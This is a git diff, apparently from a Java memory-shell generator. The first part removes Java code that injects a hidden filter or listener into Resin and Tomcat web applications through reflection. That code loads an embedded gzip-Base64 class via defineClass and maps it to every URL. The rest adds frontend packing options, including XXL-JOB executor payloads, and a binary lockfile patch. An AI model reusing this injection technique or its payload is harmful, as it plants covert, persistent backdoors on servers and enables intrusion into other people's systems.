method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "com.google.gso.sLUOL.ErrorHandler"; - } - - public String getBase64String() { - return "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"; - } - - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - - for (Object o : new ArrayList(listeners)) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - - return false; - } - - public List getContext() { - List contexts = new ArrayList(); - Set visited = new HashSet(); - - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - if (thread.getClass().getName().contains("Resin")) { - Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null && visited.add(webApp)) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - // Handle exception - } - return contexts; - - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - filter = classLoader.loadClass(this.getClassName()); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - - return filter; - } - - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - String filterClassName = this.getClassName(); - - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception var10) { - } - - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception var9) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } - } catch (Exception var12) { - } - - } - @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + BufferedReader reader = req.getReader(); + System.out.println(reader.getClass().getName()); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - } - - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } + BufferedReader reader = req.getReader(); + System.out.println(reader.getClass().getName()); } } diff --git a/web/bun.lockb b/web/bun.lockb index 79dccd119efcf21befc284711810a4f06ebacc3b..024eb02cb1def700bf31804f0843690b810a9215 100755 GIT binary patch delta 9042 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[]); const shellType = form.watch("shellType"); + const server = form.watch("server"); const { t } = useTranslation(); useEffect(() => { @@ -33,7 +34,10 @@ export function PackageConfigCard({ if (shellType.startsWith("Agent")) { return name.startsWith("Agent"); } - return !name.startsWith("Agent"); + if (server.startsWith("XXL")) { + return !name.startsWith("Agent"); + } + return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); }); setOptions( filteredOptions.map((name) => { @@ -46,7 +50,7 @@ export function PackageConfigCard({ if (filteredOptions.length > 0) { form.setValue("packingMethod", filteredOptions[0]); } - }, [form, packerConfig, shellType, t]); + }, [form, packerConfig, server, shellType, t]); return ( diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index 226e7240..3aacc678 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -78,6 +78,26 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener ); } +function JarResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) { + const { t } = useTranslation(); + return ( +
+ +
+ ); +} + function FeedbackAlert() { const { t } = useTranslation(); return ( @@ -206,6 +226,7 @@ export function ShellResult({ }: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); + const isJar = packMethod === "Jar"; const { t } = useTranslation(); return ( @@ -220,16 +241,20 @@ export function ShellResult({
- {!isAgent && ( - + {!isAgent && !isJar && ( + +
({packResult.length})
+ +
)} {isAgent && } + {isJar && } diff --git a/web/src/i18n/translations.ts b/web/src/i18n/translations.ts index 182d1f4b..c69c5e68 100644 --- a/web/src/i18n/translations.ts +++ b/web/src/i18n/translations.ts @@ -46,9 +46,10 @@ export const resources = { title: "Package Method", packer: { Base64: "Base64", + GzipBase64: "GzipBase64", BCEL: "BCEL", JSP: "JSP", - JAR: "JAR", + Jar: "Jar", EL: "EL", SpEL: "SpEL", OGNL: "OGNL", @@ -59,6 +60,8 @@ export const resources = { AgentJar: "AgentJar", Deserialize: "Deserialize(Only CB4, 1.9.x)", ScriptEngine: "ScriptEngine", + XxlJob: "XXL-JOB Executor", + XxlJob230: "XXL-JOB (2.3.0+) Executor", }, }, tips: { @@ -154,18 +157,10 @@ export const resources = { packageConfig: { title: "打包方式", packer: { - Base64: "Base64", - BCEL: "BCEL", - JSP: "JSP", - JAR: "JAR", EL: "EL 表达式", SpEL: "SpEL 表达式", OGNL: "OGNL 表达式", MVEL: "MVEL 表达式", - Freemarker: "Freemarker", - Velocity: "Velocity", - Groovy: "Groovy", - AgentJar: "AgentJar", Deserialize: "反序列化(仅支持 CB4, 1.9.x)", ScriptEngine: "脚本引擎", },